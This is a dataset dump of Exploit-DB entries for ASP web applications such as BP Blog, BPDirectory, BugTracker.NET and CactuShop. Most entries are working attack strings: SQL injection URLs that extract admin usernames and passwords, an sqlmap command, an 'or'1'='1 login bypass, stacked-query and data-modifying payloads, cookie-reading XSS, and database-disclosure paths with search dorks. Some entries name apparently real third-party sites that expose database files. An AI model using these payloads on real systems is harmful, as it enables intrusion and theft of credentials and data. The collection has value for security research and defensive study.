deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5705
Description: BP Blog 6.0 - 'id' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2008-05-31
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+              bp blog <= 6.0 Multiple Blind SQL Injection Vulnerability             +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: bp blog
[~] HomePage: http://blog.betaparticle.com/
[~] Exploit: Blind SQL Injection [High]
[~] Vuln file: template_permalink.asp
[~] Vuln file2: template_archives_cat.asp

[~] template_permalink.asp?id=[blind]
[~] template_archives_cat.asp?cat=[blind]

[~] Bug found by JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] EspSeC & Hack0wn!.

[~] Dork: "Powered by bp blog 6.0"


[+] Compression:

[~] True: http://localhost/[path]/template_permalink.asp?id=78 and 1=1
[~] False: http://localhost/[path]/template_permalink.asp?id=78 and 1=2

[+] Exploding:

[*] Checking table: 

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM [TABLE]) >= 0
[~] Exploit2: http://localhost/[path]/template_permalink.asp?id=78 and exists (select * from [TABLE])
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM tblauthor) >= 0
[~] Example2: http://localhost/[path]/template_permalink.asp?id=78 and exists (select * from tblauthor)
[~] If you don't see any error, it is that table exist.

[*] Checking columns number of table:

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM [TABLE]) = [NUMBER]
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM tblauthor) = 1
[~] If you don't see any error, the table has 1 columns.

[*] Checking columns of table:

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count([COLUMN]) FROM [TABLE]) >= 0
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(fldauthorpassword) FROM tblauthor) >= 0
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(fldauthorusername) FROM tblauthor) >= 0
[~] If you don't see any error, the column exists.

[*] User and password:

[~] Exploit: ./sqlmap.py -u "URL" -p rid -a "./txt/user-agents.txt" -v1 --string "text" -e "sql query"
[~] Example: ./sqlmap.py -u "http://../template_permalink.asp?id=78" -p id -a "./txt/user-agents.txt" -v1 --string "bp   blog" -e "<SELECT concat(fldauthorusername,0x3a,fldauthorpassword) from tblauthor where 1=1>"


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-05-31]
Exploit-DB #7499
Description: BP Blog 6.0/7.0/8.0/9.0 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-17
Author: Dxil

Exploit:
BP Blog V6.0 & V7.0 & V8.0 & V9.0 Database Disclosure Vulnerability
##############################

# {I} BP Blog V6.0 & V7.0 & V8.0 & V9.0
# {I} Script Website :  http://blog.betaparticle.com/
# {I} Found by  :  Dxil
# {I} Contact :  z1cx@hotmail.com
##############################

# {D} "powered by BP Blog 7.0"  or  "powered by BP Blog 8.0"

##############################

## {E} www.site.com/{path}/Blog.mdb

## {E}
   V6.0 -->> www.students.net/blog/Blog.mdb
   V7.0 -->> www.igpoty.com/blog/Blog.mdb
   V8.0 -->> www.keune.org/blog/Blog.mdb
   V9.0 -->> www.itsallaboutasfc.com/blog/Blog.mdb
##############################

### {G} V4-team <--> Mr.SaFa7 & Ghost Hacker ,,,,   S.V.T <--> Reno :D

# milw0rm.com [2008-12-17]
Exploit-DB #3466
Description: BP Blog 7.0 - 'layout' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-12
Author: BeyazKurt

Exploit:
#####################################
# BeyazKurt <B3yazKurt@Hotmail.Com>
# Script : BP Blog
# D0rk   : "Powered by BP Blog 7.0"
# thnx   : Forever.slam and all WorldHackerz Team!
#
# WorldHackerz Mirr0r'da Taht Bizimdir (h) :=)
#####################################
-------
Exploit :
http://www.Site.Com/Path/default.asp?layout=-1%20%20union%20select%201,fldauthorusername,fldauthorpassword,1,1,1,1%20from%20tblauthor%20where%201=1
Admin Panel : admin_default.asp

# milw0rm.com [2007-03-12]
Exploit-DB #15551
Description: BPAffiliate Affiliate Tracking - Authentication Bypass
Type: webapps
Platform: asp
Date: 2010-11-16
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
       BPAffiliateTracking Authentication Bypass Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: November, 16-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00

Application	: BPAffiliateTracking - Affiliate Tracking Script
Price		: $24.40
Vendor  	: http://www.bpowerhouse.info/

Exploit & p0c
_____________

go to
	http://127.0.0.1/[path]/adminlogin.asp

then login with
	Username : admin
	Password : 1'or'1'='1

ShoutZ
______

All YOGYACARDERLINK CREW, GheMaX, LeQhi
Also Jovita & Fabian :)
Exploit-DB #15553
Description: BPConferenceReporting Web Reporting - Authentication Bypass
Type: webapps
Platform: asp
Date: 2010-11-16
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
       BPConferenceReporting Authentication Bypass Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: November, 16-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00

Application	: BPConferenceReporting - Web Reporting ASP.NET Site
Price		: $27.90
Vendor  	: http://www.bpowerhouse.info/

Exploit & p0c
_____________

go to
	http://127.0.0.1/[path]/index.htm

then login with
	Username : admin
	Password : 1'or'1'='1

ShoutZ
______

All YOGYACARDERLINK CREW, GheMaX, LeQhi
Also Jovita & Fabian :)
Exploit-DB #15552
Description: BPDirectory Business Directory - Authentication Bypass
Type: webapps
Platform: asp
Date: 2010-11-16
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
            BPDirectory Authentication Bypass Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: November, 16-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00

Application	: BPDirectory - Business Directory ASP.NET Script
Price		: $29.90
Vendor  	: http://www.bpowerhouse.info/

Exploit & p0c
_____________

go to
	http://127.0.0.1/[path]/AdminLogin.aspx

then login with
	Username : admin
	Password : 1'or'1'='1

ShoutZ
______

All YOGYACARDERLINK CREW, GheMaX, LeQhi
Also Jovita & Fabian :)
Exploit-DB #15554
Description: BPRealestate Real Estate - Authentication Bypass
Type: webapps
Platform: asp
Date: 2010-11-16
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
          BPRealestate Authentication Bypass Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: November, 16-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00

Application	: BPRealestate - Real Estate site script - ASP.NET AJAX
Price		: $24.90
Vendor  	: http://www.bpowerhouse.info/

Exploit & p0c
_____________

go to
	http://127.0.0.1/[path]/admin

then login with
	Username : admin
	Password : 1'or'1'='1

ShoutZ
______

All YOGYACARDERLINK CREW, GheMaX, LeQhi
Also Jovita & Fabian :)
Exploit-DB #13843
Description: BrightSuite Groupware - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-12
Author: L0rd CrusAd3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ###########################################       1
0                    I'm L0rd CrusAd3r member from Inj3ct0r Team       1
1                    ###########################################       0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:BrightSuite Groupware SQL Vulnerable
Code: ASP 3.0 & VBScript
Vendor url:http://www.denaliintranet.com/
Version:5.4
Price:$1299
Published: 2010-06-12
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

#####################################################################################################################################################################################################

Description:

BrightSuite is a web-based Groupware, Intranet, and Team Collaboration
application. 25 customizable applications like document management,
calendars, forums, instant messaging and email. Live Demo and Trial

#######################################################################################################################################################################################################

Vulnerability:

*SQLi Vulnerability

DEMO URL:

http://[site]/pages/contact_list_mail_form.asp?ContactID=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #30860
Description: bttlxe Forum 2.0 - Multiple SQL Injections / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2007-12-10
Author: Mormoroth

Exploit:
source: https://www.securityfocus.com/bid/26790/info

bttlxe Forum is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect bttlxe Forum 2.0; other versions may also be affected. 

http://www.example.com/myaccount/viewProfile.asp?member='update Members set ProfileName='hacked';--
http://www.example.com/myaccount/viewProfile.asp?member='update Members set [CREDENTIAL_REDACTED]';-- 
http://www.example.com/myaccount/failure.asp?err_txt="><script>alert('Aria-Security.Net')</script>
Exploit-DB #35031
Description: BugTracker.NET 3.4.4 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-11-30
Author: BugTracker.NET

Exploit:
source: https://www.securityfocus.com/bid/45121/info

BugTracker.NET is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

BugTracker.NET v3.4.4 is vulnerable; other versions may be affected. 

http://www.example.com/edit_comment.aspx?id=48&bug_id=3%3E%3Cscript%3Ealert%28%27%27%29;%3C/script%3E
Exploit-DB #50445
Description: Build Smart ERP 21.0817 - 'eidValue' SQL Injection (Unauthenticated)
Type: webapps
Platform: asp
Date: 2021-10-25
Author: Nehru Sethuraman

Exploit:
# Exploit Title: Build Smart ERP 21.0817 - 'eidValue' SQL Injection (Unauthenticated)
# Date: 24/10/2021
# Exploit Author: Nehru Sethuraman
# Vendor Homepage: https://ribccs.com/solutions/solution-buildsmart
# Version: 21.0817
# Build: 3
# Google Dorks: intitle:buildsmart accounting
# Tested on: OS - Windows 2012 R2 or 8.1  & Database - Microsoft SQL Server 2014

Exploit Details:

URL: https://example.com/acc/validateLogin.asp?SkipDBSetup=NO&redirectUrl=

*HTTP Method:* POST

*POST DATA:*

VersionNumber=21.0906&activexVersion=3%2C9%2C0%2C0&XLImportCab=1%2C21%2C0%2C0&updaterActivexVersion=4%2C19%2C0%2C0&lang=eng&rptlang=eng&loginID=admin&user[CREDENTIAL_REDACTED]=company&eidValue=company&userEmail=

Vulnerable Parameter: eidValue

SQL Injection Type: Stacked queries

Payload: ';WAITFOR DELAY '0:0:3'--
Exploit-DB #29929
Description: Burak Yilmaz Blog 1.0 - 'BRY.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-04-26
Author: RMx

Exploit:
source: https://www.securityfocus.com/bid/23678/info

Burak Yilmaz Blog is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Burak Yilmaz Blog 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/bry.asp?islem=yazidevam&id=-1+union+select+0,0,0,0,0,0,sifre,0+from+admin
Exploit-DB #2962
Description: Burak Yilmaz Download Portal - 'down.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-19
Author: ShaFuck31

Exploit:
# LiderHack.Org & BhhGroup.Org & Bilgi-Yonetimi.Org.Tr

# script name : Burak Y.lmaz Download Portal

# Script Download : http://maxiasp.com/sc_yorum.asp?scno=929

# Risk : High

# Found By : ShaFuck31

# Thanks : | Dekolax | The RéD | DesquneR | f1r3b0y | BaZaL | SaboTaqe | ST@ReXT | BLaSTER | UNiKnoX |

# Vulnerable file : down.asp

#Vuln :
http://www.victim.com/ScriptPath/down.asp?id=[SqL]
http://www.victim.com/ScriptPath/down.asp?id=-1%20union%20SELECT%20*%20FROM%20uyeler%20WHERE%20uid=36

#Contact: ShaFuq31 (at) HoTMaiL (dot) CoM [email concealed]

# milw0rm.com [2006-12-19]
Exploit-DB #13883
Description: Business Classified Listing - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-15
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Business Classified Listing SQl Vulnerable
Vendor url:http://www.webvolume.co.uk
Version:8
Price:n/a
Published: 2010-06-15
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

Own your own business guide/directory, with reviews, driving directions and
pictures. This website allows you to charge the restaurant owners a fixed
amount per year of a listing. It also gives you the option to offer basic
listings (ones without pictures, opening hours etc) for free.

Whats Included?

# FREE business cards to advertise your new business/website
# Full email support via our helpd desk for the life time of your website
# Logo for your website
# Your own domain name
# Unlimited email addresses for your website
# Unlimited email forwarders - so your website email can be forwarded to
your existing email address
# Unlimited web space - so as your site grows it will never run out of disk
space
# All money made from your website is yours to keep - it goes directly to
your PayPal account
# Free advertising and promotion guide
# Free basic search engine submission for 1 month to get you started

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/TypeSearch.asp?typeID=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #38415
Description: C2 WebResource - 'File' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2013-04-03
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/58838/info

C2 WebResource is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/fileview.asp?File=<script>alert(document.cookie)</script>
Exploit-DB #10686
Description: CactuShop 6.0 - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-26
Author: LionTurk

Exploit:
==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [&#65533;] ~ Note : Forever RevengeHack.Com 

==============================================================================  

        [&#65533;] CactuShop v6  Database Disclosure Vulnerability  

==============================================================================  

   

    [&#65533;] Script:             [  CactuShop v6  ]  

    [&#65533;] Language:           [ ASP ]  

    [&#65533;] Download:           [ http://www.aspindir.com/Goster/3114] 

    [&#65533;] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com }

    [&#65533;] My Home:            [ RevengeHack.com ]  

    [&#65533;]N0T3    :             Yeni Ac&#65533;klar&#65533;m&#65533; Bekleyin

###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [&#65533;] http://[target].com/[path]/database/cactushop6.mdb

 


  [&#65533;] CactuShop v6 ASP Shopping Cart &#65533;1999-2006 Cactusoft International FZ-LLC & Cactusoft Ltd. All rights reserved.


  [&#65533;]   Admin Page: /_login.asp?




Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZv&#65533;ng

                 

- Ben Ne Heyk&#65533;rlar G&#65533;rd&#65533;m  site heyklicek exploiti yok.Ben Ne exploitler g&#65533;rd&#65533;m kullancak heykir yok :D

                                 


###########################################################################
Exploit-DB #23899
Description: CactuSoft CactuShop 5.0/5.1 - Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-03-31
Author: Nick Gudov

Exploit:
source: https://www.securityfocus.com/bid/10020/info

Reportedly CactuShop is prone to a remote cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user supplied URI input.

This issue could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/popuplargeimage.asp?strImageTag=<script>alert(document.cookie)</script>

http://www.example.com/popuplargeimage.asp?strImageTag=<img+src="uploads/images_products_large/113.gif"%20onLoad="alert(document.cookie)">